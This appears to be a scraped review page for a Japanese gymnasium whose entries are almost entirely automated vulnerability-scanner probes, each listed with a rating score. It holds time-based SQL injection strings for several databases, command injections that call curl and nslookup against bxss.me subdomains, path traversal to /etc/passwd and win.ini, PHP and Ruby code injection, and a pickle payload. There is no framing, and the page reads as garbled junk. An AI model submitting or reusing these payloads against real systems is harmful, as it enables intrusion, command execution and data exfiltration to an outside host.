鳴門勤労者体育センター

• 0.50

-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--

• 0.50

-5) OR 739=(SELECT 739 FROM PG_SLEEP(15))--

• 0.50

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.50

029uVVkq')) OR 848=(SELECT 848 FROM PG_SLEEP(15))--

• 0.50

P8uvdklq' OR 928=(SELECT 928 FROM PG_SLEEP(15))--

• 0.50

-1); waitfor delay '0:0:15' --

• 0.50

-1; waitfor delay '0:0:15' --

• 0.50

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.50

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

@@nZZUn

• 0.50

1'"

• 0.50

54dNI09R') OR 124=(SELECT 124 FROM PG_SLEEP(15))--

• 0.50

-5 OR 791=(SELECT 791 FROM PG_SLEEP(15))--

• 0.50

eyf0JcQ3'; waitfor delay '0:0:15' --

• 0.50

1 waitfor delay '0:0:15' --

• 0.50

if(now()=sysdate(),sleep(15),0)

• 0.50

-1" OR 2+855-855-1=0+0+0+1 --

• 0.50

-1' OR 2+414-414-1=0+0+0+1 or 'R4w4nwzH'='

• 0.50

-1' OR 2+491-491-1=0+0+0+1 --

• 0.50

-1 OR 2+488-488-1=0+0+0+1

• 0.50

-1 OR 2+898-898-1=0+0+0+1 --

• 0.50

A1Pbr16i

• 0.50

@@JT5Mg

• 0.50

1'"

• 0.50

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.50

kxm7M4Wv')) OR 950=(SELECT 950 FROM PG_SLEEP(15))--

• 0.50

fTCs8Bs6') OR 467=(SELECT 467 FROM PG_SLEEP(15))--

• 0.50

LWLyBNHE' OR 575=(SELECT 575 FROM PG_SLEEP(15))--

• 0.50

-1)) OR 694=(SELECT 694 FROM PG_SLEEP(15))--

• 0.50

-5) OR 388=(SELECT 388 FROM PG_SLEEP(15))--

• 0.50

-5 OR 264=(SELECT 264 FROM PG_SLEEP(15))--

• 0.50

XI4e00GE'; waitfor delay '0:0:15' --

• 0.50

1 waitfor delay '0:0:15' --

• 0.50

-1); waitfor delay '0:0:15' --

• 0.50

-1; waitfor delay '0:0:15' --

• 0.50

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.50

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

if(now()=sysdate(),sleep(15),0)

• 0.50

-1" OR 2+614-614-1=0+0+0+1 --

• 0.50

-1' OR 2+819-819-1=0+0+0+1 or 'PN90fF9a'='

• 0.50

-1' OR 2+597-597-1=0+0+0+1 --

• 0.50

-1 OR 2+573-573-1=0+0+0+1

• 0.50

-1 OR 2+829-829-1=0+0+0+1 --

• 0.50

DyXOWFWm

• 0.25

@@vDu1F

• 0.25

1'"

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

eF9AzY1a')) OR 256=(SELECT 256 FROM PG_SLEEP(15))--

• 0.25

E1vU2g65') OR 417=(SELECT 417 FROM PG_SLEEP(15))--

• 0.25

cyoW2qk4' OR 667=(SELECT 667 FROM PG_SLEEP(15))--

• 0.25

-1)) OR 234=(SELECT 234 FROM PG_SLEEP(15))--

• 0.25

-5 OR 522=(SELECT 522 FROM PG_SLEEP(15))--

• 0.25

8zpIfpvW'; waitfor delay '0:0:15' --

• 0.25

1 waitfor delay '0:0:15' --

• 0.25

-1); waitfor delay '0:0:15' --

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.25

if(now()=sysdate(),sleep(15),0)

• 0.25

-1" OR 2+394-394-1=0+0+0+1 --

• 0.25

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.25

-1' OR 2+985-985-1=0+0+0+1 or 'ybos3e5x'='

• 0.25

-1' OR 2+505-505-1=0+0+0+1 --

• 0.25

-1 OR 2+252-252-1=0+0+0+1

• 0.25

-1 OR 2+22-22-1=0+0+0+1 --

• 0.25

lTjD6VY5

• 0.25

-5) OR 336=(SELECT 336 FROM PG_SLEEP(15))--

• 0.25

-1; waitfor delay '0:0:15' --

• 0.25

@@H8ToX

• 0.25

1'"

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

etHmHpOd')) OR 470=(SELECT 470 FROM PG_SLEEP(15))--

• 0.25

Q32L9Ys7') OR 83=(SELECT 83 FROM PG_SLEEP(15))--

• 0.25

YnV5mUQx' OR 657=(SELECT 657 FROM PG_SLEEP(15))--

• 0.25

-1)) OR 358=(SELECT 358 FROM PG_SLEEP(15))--

• 0.25

-5) OR 165=(SELECT 165 FROM PG_SLEEP(15))--

• 0.25

-5 OR 882=(SELECT 882 FROM PG_SLEEP(15))--

• 0.25

2Xmm94vw'; waitfor delay '0:0:15' --

• 0.25

1 waitfor delay '0:0:15' --

• 0.25

-1); waitfor delay '0:0:15' --

• 0.25

-1; waitfor delay '0:0:15' --

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.25

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.25

if(now()=sysdate(),sleep(15),0)

• 0.25

-1" OR 2+470-470-1=0+0+0+1 --

• 0.25

-1' OR 2+891-891-1=0+0+0+1 or 'SaOwmaTv'='

• 0.25

-1' OR 2+695-695-1=0+0+0+1 --

• 0.25

-1 OR 2+115-115-1=0+0+0+1

• 0.25

-1 OR 2+748-748-1=0+0+0+1 --

• 0.25

i9lBfeca

• 0.50

@@Z9iyE

• 0.50

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.50

BaxOKCSx')) OR 499=(SELECT 499 FROM PG_SLEEP(15))--

• 0.50

YossbDwC') OR 224=(SELECT 224 FROM PG_SLEEP(15))--

• 0.50

bryqxxwX' OR 40=(SELECT 40 FROM PG_SLEEP(15))--

• 0.50

-5) OR 65=(SELECT 65 FROM PG_SLEEP(15))--

• 0.50

-5 OR 443=(SELECT 443 FROM PG_SLEEP(15))--

• 0.50

AlEe1sXR'; waitfor delay '0:0:15' --

• 0.50

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

if(now()=sysdate(),sleep(15),0)

• 0.50

-1" OR 2+783-783-1=0+0+0+1 --

• 0.50

-1' OR 2+784-784-1=0+0+0+1 or '7JNt5BIY'='

• 0.50

-1' OR 2+35-35-1=0+0+0+1 --

• 0.50

-1 OR 2+455-455-1=0+0+0+1

• 0.50

-1 OR 2+80-80-1=0+0+0+1 --

• 0.50

nx1ca0Pm

• 0.50

1'"

• 0.50

-1)) OR 909=(SELECT 909 FROM PG_SLEEP(15))--

• 0.50

1 waitfor delay '0:0:15' --

• 0.50

-1); waitfor delay '0:0:15' --

• 0.50

-1; waitfor delay '0:0:15' --

• 0.50

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.50

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

@@rbXf6

• 0.50

1'"

• 0.50

-5 OR 29=(SELECT 29 FROM PG_SLEEP(15))--

• 0.50

-1; waitfor delay '0:0:15' --

• 0.50

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

if(now()=sysdate(),sleep(15),0)

• 0.25

@@oIhV2

• 0.25

1'"

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

FtyFEmY6')) OR 388=(SELECT 388 FROM PG_SLEEP(15))--

• 0.25

Z14WSZL6') OR 18=(SELECT 18 FROM PG_SLEEP(15))--

• 0.25

4ecavjUN' OR 58=(SELECT 58 FROM PG_SLEEP(15))--

• 0.25

-1)) OR 886=(SELECT 886 FROM PG_SLEEP(15))--

• 0.25

-5) OR 736=(SELECT 736 FROM PG_SLEEP(15))--

• 0.25

-5 OR 666=(SELECT 666 FROM PG_SLEEP(15))--

• 0.25

PduGywf2'; waitfor delay '0:0:15' --

• 0.25

1 waitfor delay '0:0:15' --

• 0.25

-1); waitfor delay '0:0:15' --

• 0.25

-1; waitfor delay '0:0:15' --

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.25

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.25

if(now()=sysdate(),sleep(15),0)

• 0.25

-1" OR 2+727-727-1=0+0+0+1 --

• 0.25

-1' OR 2+176-176-1=0+0+0+1 or 'JTBGQzef'='

• 0.25

-1' OR 2+198-198-1=0+0+0+1 --

• 0.25

-1 OR 2+263-263-1=0+0+0+1

• 0.25

-1 OR 2+663-663-1=0+0+0+1 --

• 0.25

vxzY0Rav

• 0.50

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.50

1NYUlb3E')) OR 337=(SELECT 337 FROM PG_SLEEP(15))--

• 0.50

scErD2VD') OR 160=(SELECT 160 FROM PG_SLEEP(15))--

• 0.50

rTNJ8m15' OR 221=(SELECT 221 FROM PG_SLEEP(15))--

• 0.50

-1)) OR 766=(SELECT 766 FROM PG_SLEEP(15))--

• 0.50

-5) OR 349=(SELECT 349 FROM PG_SLEEP(15))--

• 0.50

1 waitfor delay '0:0:15' --

• 0.50

-1); waitfor delay '0:0:15' --

• 0.50

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.50

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

JJPLnG90'; waitfor delay '0:0:15' --

• 0.50

-1' OR 2+992-992-1=0+0+0+1 --

• 0.50

nt6XlDzW

• 0.50

-1" OR 2+331-331-1=0+0+0+1 --

• 0.50

-1' OR 2+916-916-1=0+0+0+1 or '5MzseY0h'='

• 0.50

-1 OR 2+392-392-1=0+0+0+1 --

• 0.50

-1 OR 2+372-372-1=0+0+0+1

• 0.25

(select 198766*667891)

• 0.25

@@wHjnT

• 0.25

'"

• 0.25

';print(md5(31337));$a='

• 0.25

&nslookup -q=cname hitlfatipqqbde8301.bxss.me&'\"`0&nslookup -q=cname hitlfatipqqbde8301.bxss.me&`'

• 0.25

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

/etc/shells

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

^(#$!@#$)(()))******

• 0.25

file:///etc/passwd

• 0.25

'"

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.25

'||sleep(27*1000)*ldfrfz||'

• 0.25

'&&sleep(27*1000)*lpyzek&&'

• 0.25

'"()

• 0.25

${@print(md5(31337))}

• 0.25

$(nslookup -q=cname hitalfxfmuzbhd2fbc.bxss.me||curl hitalfxfmuzbhd2fbc.bxss.me)

• 0.25

(nslookup -q=cname hitdflokoprkd511a6.bxss.me||curl hitdflokoprkd511a6.bxss.me))

• 0.25

'A'.concat(70-3).concat(22*4).concat(117).concat(79).concat(104).concat(74)+(require'socket'
Socket.gethostbyname('hitct'+'pklxodgq4732d.bxss.me.')[3].to_s)

• 0.25

&echo oyqokd$()\ zplmjf\nz^xyu||a #' &echo oyqokd$()\ zplmjf\nz^xyu||a #|" &echo oyqokd$()\ zplmjf\nz^xyu||a #

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

'.gethostbyname(lc('hitje'.'uhwshxrefc7a6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(66).chr(97).chr(81).'

• 0.25

&n990700=v969037

• 0.25

-1 OR 627=(SELECT 627 FROM PG_SLEEP(15))--

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

${9999806+9999742}

• 0.25

"+response.write(9574929*9841938)+"

• 0.25

'+response.write(9574929*9841938)+'

• 0.25

9038951

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

'"()&%TP8R(9983)

• 0.25

5m0qPXNO')) OR 950=(SELECT 950 FROM PG_SLEEP(15))--

• 0.25

"&&sleep(27*1000)*warsno&&"

• 0.25

FhrK6xp2') OR 972=(SELECT 972 FROM PG_SLEEP(15))--

• 0.25

S0MHI5Nt' OR 206=(SELECT 206 FROM PG_SLEEP(15))--

• 0.25

bxss.me

• 0.25

echo pgoqbf$()\ hxombu\nz^xyu||a #' &echo pgoqbf$()\ hxombu\nz^xyu||a #|" &echo pgoqbf$()\ hxombu\nz^xyu||a #

• 0.25

bxss.me/t/xss.html?%00

• 0.25

!(()&&!|*|*|

• 0.25

)

• 0.25

redirtest.acx

• 0.25

coR913JY'; waitfor delay '0:0:15' --

• 0.25

-1 waitfor delay '0:0:15' --

• 0.25

-1); waitfor delay '0:0:15' --

• 0.25

-1; waitfor delay '0:0:15' --

• 0.25

"||sleep(27*1000)*dftnlk||"

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitjqysiufrriedbfd.bxss.me||curl${IFS}hitjqysiufrriedbfd.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjqysiufrriedbfd.bxss.me||curl${IFS}hitjqysiufrriedbfd.bxss.me)&`'

• 0.25

${@print(md5(31337))}\

• 0.25

`(nslookup -q=cname hitcukjvjapcg5072f.bxss.me||curl hitcukjvjapcg5072f.bxss.me)`

• 0.25

";print(md5(31337));$a="

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

|echo vvjggv$()\ owzqqq\nz^xyu||a #' |echo vvjggv$()\ owzqqq\nz^xyu||a #|" |echo vvjggv$()\ owzqqq\nz^xyu||a #

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

"+"A".concat(70-3).concat(22*4).concat(118).concat(68).concat(97).concat(90)+(require"socket"
Socket.gethostbyname("hitoc"+"bnnwuxsf13423.bxss.me.")[3].to_s)+"

• 0.25

-1)) OR 154=(SELECT 154 FROM PG_SLEEP(15))--

• 0.25

".gethostbyname(lc("hitch"."yydagykif66df.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(88).chr(109).chr(83)."

• 0.25

-1) OR 997=(SELECT 997 FROM PG_SLEEP(15))--

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

zM2IJSvP: WAzP93Kp

• 0.25

response.write(9574929*9841938)

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.25

'"()&%TP8R(9110)

• 0.25

;(nslookup -q=cname hitnadbpuzzlx9e7a4.bxss.me||curl hitnadbpuzzlx9e7a4.bxss.me)|(nslookup -q=cname hitnadbpuzzlx9e7a4.bxss.me||curl hitnadbpuzzlx9e7a4.bxss.me)&(nslookup -q=cname hitnadbpuzzlx9e7a4.bxss.me||curl hitnadbpuzzlx9e7a4.bxss.me)

• 0.25

expr 9000508421 - 916953

• 0.00

'+'A'.concat(70-3).concat(22*4).concat(117).concat(69).concat(103).concat(87)+(require'socket'
Socket.gethostbyname('hityv'+'ufnionukff24c.bxss.me.')[3].to_s)+'

• 0.25

gethostbyname(lc('hitjy'.'izyrtjbt902cf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(82).chr(109).chr(78)

• 0.25

../

• 0.25

IP13pxbI

• 0.25

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitlmikqqrkakc58c5.bxss.me||curl${IFS}hitlmikqqrkakc58c5.bxss.me)

• 0.25

'.print(md5(31337)).'

• 0.25

• 0.25

|(nslookup -q=cname hitlhzrubpegaa1cba.bxss.me||curl hitlhzrubpegaa1cba.bxss.me)

• 0.25

&(nslookup -q=cname hitvrlmnwrikr670fe.bxss.me||curl hitvrlmnwrikr670fe.bxss.me)&'\"`0&(nslookup -q=cname hitvrlmnwrikr670fe.bxss.me||curl hitvrlmnwrikr670fe.bxss.me)&`'

• 0.25

place_reviews/.

• 0.25

xfs.bxss.me

• 0.25

place_reviews

• 0.25

c:/windows/win.ini

• 0.25

*if(now()=sysdate(),sleep(15),0)

• 0.25

-1" OR 5*5=25 or "5Kzw1CYj"="

• 0.25

-1' OR 5*5=25 or 'm3lxvwlE'='

• 0.25

-1" OR 5*5=25 --

• 0.25

-1' OR 5*5=25 --

• 0.25

-1 OR 5*5=25

• 0.25

-1 OR 5*5=25 --

• 0.25

E20xNekn

• 0.50

(select 198766*667891 from DUAL)

• 0.50

(select 198766*667891)

• 0.50

@@ZZRjp

• 0.50

'"

• 0.50

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.50

ZpetklHR')) OR 52=(SELECT 52 FROM PG_SLEEP(15))--

• 0.50

Wppyov3i') OR 424=(SELECT 424 FROM PG_SLEEP(15))--

• 0.50

jwJDVofo' OR 508=(SELECT 508 FROM PG_SLEEP(15))--

• 0.50

-1)) OR 150=(SELECT 150 FROM PG_SLEEP(15))--

• 0.50

-1) OR 849=(SELECT 849 FROM PG_SLEEP(15))--

• 0.50

-1 OR 861=(SELECT 861 FROM PG_SLEEP(15))--

• 0.50

UzrrUE53'; waitfor delay '0:0:15' --

• 0.50

-1 waitfor delay '0:0:15' --

• 0.50

-1); waitfor delay '0:0:15' --

• 0.50

-1; waitfor delay '0:0:15' --

• 0.50

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.50

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

*if(now()=sysdate(),sleep(15),0)

• 0.50

-1" OR 5*5=25 or "bw4L9I8c"="

• 0.50

-1' OR 5*5=25 or 'KzCO3aGl'='

• 0.50

-1" OR 5*5=25 --

• 0.50

-1' OR 5*5=25 --

• 0.50

-1 OR 5*5=25

• 0.50

-1 OR 5*5=25 --

• 0.50

WejrvWoz

• 0.50

(select 198766*667891 from DUAL)

• 0.50

(select 198766*667891)

• 0.50

@@wXj2v

• 0.50

'"

• 0.50

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.50

2zRi0I45')) OR 51=(SELECT 51 FROM PG_SLEEP(15))--

• 0.50

9eQwDnTX') OR 132=(SELECT 132 FROM PG_SLEEP(15))--

• 0.50

MHwiJD9T' OR 501=(SELECT 501 FROM PG_SLEEP(15))--

• 0.50

-1)) OR 738=(SELECT 738 FROM PG_SLEEP(15))--

• 0.25

9523524

• 0.25

'"()&%F5q1(9027)

• 0.50

-1) OR 418=(SELECT 418 FROM PG_SLEEP(15))--

• 0.25

"||sleep(27*1000)*gawlgi||"

• 0.25

'||sleep(27*1000)*sluqdb||'

• 0.25

'.print(md5(31337)).'

• 0.25

'&&sleep(27*1000)*mtxvsu&&'

• 0.25

place_reviews/.

• 0.25

${@print(md5(31337))}

• 0.25

&(nslookup -q=cname hitwgkubczenhea854.bxss.me||curl hitwgkubczenhea854.bxss.me)&'\"`0&(nslookup -q=cname hitwgkubczenhea854.bxss.me||curl hitwgkubczenhea854.bxss.me)&`'

• 0.25

";print(md5(31337));$a="

• 0.25

place_reviews

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

"+"A".concat(70-3).concat(22*4).concat(102).concat(75).concat(103).concat(70)+(require"socket"
Socket.gethostbyname("hitqn"+"jeprpddr87e6b.bxss.me.")[3].to_s)+"

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitbharrfludq55f3c.bxss.me||curl${IFS}hitbharrfludq55f3c.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbharrfludq55f3c.bxss.me||curl${IFS}hitbharrfludq55f3c.bxss.me)&`'

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hityvhrsjycqm55180.bxss.me||curl${IFS}hityvhrsjycqm55180.bxss.me)

• 0.25

bxss.me/t/xss.html?%00

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

bxss.me

• 0.25

c:/windows/win.ini

• 0.00

../../../../../../../../../../../../../../etc/shells

• 0.25

/etc/shells

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

(nslookup -q=cname hitgeemmgvzbi8f117.bxss.me||curl hitgeemmgvzbi8f117.bxss.me))

• 0.25

".gethostbyname(lc("hityx"."zdqobepd5442a.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(86).chr(121).chr(83)."

• 0.25

'.gethostbyname(lc('hiteq'.'ywyitoagabf98.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(69).chr(120).chr(80).'

• 0.25

&echo ghgoog$()\ rugzxp\nz^xyu||a #' &echo ghgoog$()\ rugzxp\nz^xyu||a #|" &echo ghgoog$()\ rugzxp\nz^xyu||a #

• 0.25

echo aihccg$()\ bazwqf\nz^xyu||a #' &echo aihccg$()\ bazwqf\nz^xyu||a #|" &echo aihccg$()\ bazwqf\nz^xyu||a #

• 0.25

!(()&&!|*|*|

• 0.50

-1); waitfor delay '0:0:15' --

• 0.50

-1; waitfor delay '0:0:15' --

• 0.25

file:///etc/passwd

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

"+response.write(9191230*9675565)+"

• 0.25

'+response.write(9191230*9675565)+'

• 0.25

response.write(9191230*9675565)

• 0.25

FEthTisa: eQpr3Ufz

• 0.50

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

*if(now()=sysdate(),sleep(15),0)

• 0.50

-1" OR 5*5=25 --

• 0.50

-1' OR 5*5=25 --

• 0.50

-1 OR 5*5=25

• 0.50

DN9oDFFr

• 0.50

9429460

• 0.50

• 0.50

place_reviews/.

• 0.50

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• 0.50

'.print(md5(31337)).'

• 0.50

${@print(md5(31337))}

• 0.50

|(nslookup${IFS}-q${IFS}cname${IFS}hitjhknuihitaf6de2.bxss.me||curl${IFS}hitjhknuihitaf6de2.bxss.me)

• 0.50

`(nslookup -q=cname hitmyflshkriydd934.bxss.me||curl hitmyflshkriydd934.bxss.me)`

• 0.50

HttP://bxss.me/t/xss.html?%00

• 0.50

gethostbyname(lc('hithv'.'odszjdehc7ee5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(65).chr(122).chr(82)

• 0.50

|echo ldebbd$()\ xeklcr\nz^xyu||a #' |echo ldebbd$()\ xeklcr\nz^xyu||a #|" |echo ldebbd$()\ xeklcr\nz^xyu||a #

• 0.50

&echo uqdrhz$()\ kukzma\nz^xyu||a #' &echo uqdrhz$()\ kukzma\nz^xyu||a #|" &echo uqdrhz$()\ kukzma\nz^xyu||a #

• 0.25

'"()&%F5q1(9933)

• 0.25

;(nslookup -q=cname hitqongjjdqqod3f78.bxss.me||curl hitqongjjdqqod3f78.bxss.me)|(nslookup -q=cname hitqongjjdqqod3f78.bxss.me||curl hitqongjjdqqod3f78.bxss.me)&(nslookup -q=cname hitqongjjdqqod3f78.bxss.me||curl hitqongjjdqqod3f78.bxss.me)

• 0.25

`(nslookup -q=cname hitqkehlxhvrgb1366.bxss.me||curl hitqkehlxhvrgb1366.bxss.me)`

• 0.25

)

• 0.25

&n981821=v941056

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.50

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

5JPcX9rM

• 0.50

&(nslookup -q=cname hitinhpmuombe843bf.bxss.me||curl hitinhpmuombe843bf.bxss.me)&'\"`0&(nslookup -q=cname hitinhpmuombe843bf.bxss.me||curl hitinhpmuombe843bf.bxss.me)&`'

• 0.50

&nslookup -q=cname hitsfkbeezgsp1f758.bxss.me&'\"`0&nslookup -q=cname hitsfkbeezgsp1f758.bxss.me&`'

• 0.50

'.gethostbyname(lc('hited'.'dnmktazkf6557.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(79).chr(121).chr(77).'

• 0.50

(nslookup -q=cname hitjklkovikqyeefb9.bxss.me||curl hitjklkovikqyeefb9.bxss.me))

• 0.50

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.50

bxss.me

• 0.50

c:/windows/win.ini

• 0.50

../../../../../../../../../../../../../../etc/shells

• 0.25

• 0.25

"&&sleep(27*1000)*tynttj&&"

• 0.25

'"()

• 0.50

ObCe3bEd'; waitfor delay '0:0:15' --

• 0.25

';print(md5(31337));$a='

• 0.25

&nslookup -q=cname hitakimkqjibpea0ec.bxss.me&'\"`0&nslookup -q=cname hitakimkqjibpea0ec.bxss.me&`'

• 0.25

gethostbyname(lc('hitzl'.'xbccuxzrdc484.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(67).chr(110).chr(89)

• 0.25

expr 9000687505 - 971970

• 0.25

|echo sbsuub$()\ csixjd\nz^xyu||a #' |echo sbsuub$()\ csixjd\nz^xyu||a #|" |echo sbsuub$()\ csixjd\nz^xyu||a #

• 0.25

redirtest.acx

• 0.25

../

• 0.50

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

-1" OR 5*5=25 or "5hWjdkft"="

• 0.50

-1 OR 5*5=25 --

• 0.50

'"()&%ELvs(9453)

• 0.50

'"()&%ELvs(9170)

• 0.50

redirtest.acx

• 0.50

^(#$!@#$)(()))******

• 0.50

)

• 0.50

../../../../../../../../../../../../../../windows/win.ini

• 0.50

../../../../../../../../../../../../../../etc/passwd

• 0.50

&n993876=v912587

• 0.50

response.write(9637409*9395834)

• 0.50

o8Wz8q1T: dP3xmfzv

• 0.50

'"()&%HbbF(9556)

• 0.50

• 0.50

'"

• 0.50

"||sleep(27*1000)*vkvqqp||"

• 0.50

${@print(md5(31337))}\

• 0.50

place_reviews/.

• 0.50

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• 0.50

"&&sleep(27*1000)*wfuqrw&&"

• 0.50

place_reviews

• 0.50

";print(md5(31337));$a="

• 0.50

'&&sleep(27*1000)*cbosrj&&'

• 0.50

';print(md5(31337));$a='

• 0.50

'"()

• 0.50

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.50

'A'.concat(70-3).concat(22*4).concat(101).concat(89).concat(106).concat(86)+(require'socket'
Socket.gethostbyname('hitog'+'ibydkrgl52cde.bxss.me.')[3].to_s)

• 0.50

'+'A'.concat(70-3).concat(22*4).concat(118).concat(70).concat(121).concat(84)+(require'socket'
Socket.gethostbyname('hitow'+'zctsoptd0bfb0.bxss.me.')[3].to_s)+'

• 0.50

Http://bxss.me/t/fit.txt

• 0.50

bxss.me

• 0.50

&(nslookup${IFS}-q${IFS}cname${IFS}hitmbpmisavmua7a4e.bxss.me||curl${IFS}hitmbpmisavmua7a4e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmbpmisavmua7a4e.bxss.me||curl${IFS}hitmbpmisavmua7a4e.bxss.me)&`'

• 0.50

../../../../../../../../../../../../../../etc/shells

• 0.00

;(nslookup -q=cname hitndfmohhjkm2c56f.bxss.me||curl hitndfmohhjkm2c56f.bxss.me)|(nslookup -q=cname hitndfmohhjkm2c56f.bxss.me||curl hitndfmohhjkm2c56f.bxss.me)&(nslookup -q=cname hitndfmohhjkm2c56f.bxss.me||curl hitndfmohhjkm2c56f.bxss.me)

• 0.50

'.gethostbyname(lc('hituq'.'mkynfdgo46b49.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(66).chr(108).chr(66).'

• 0.50

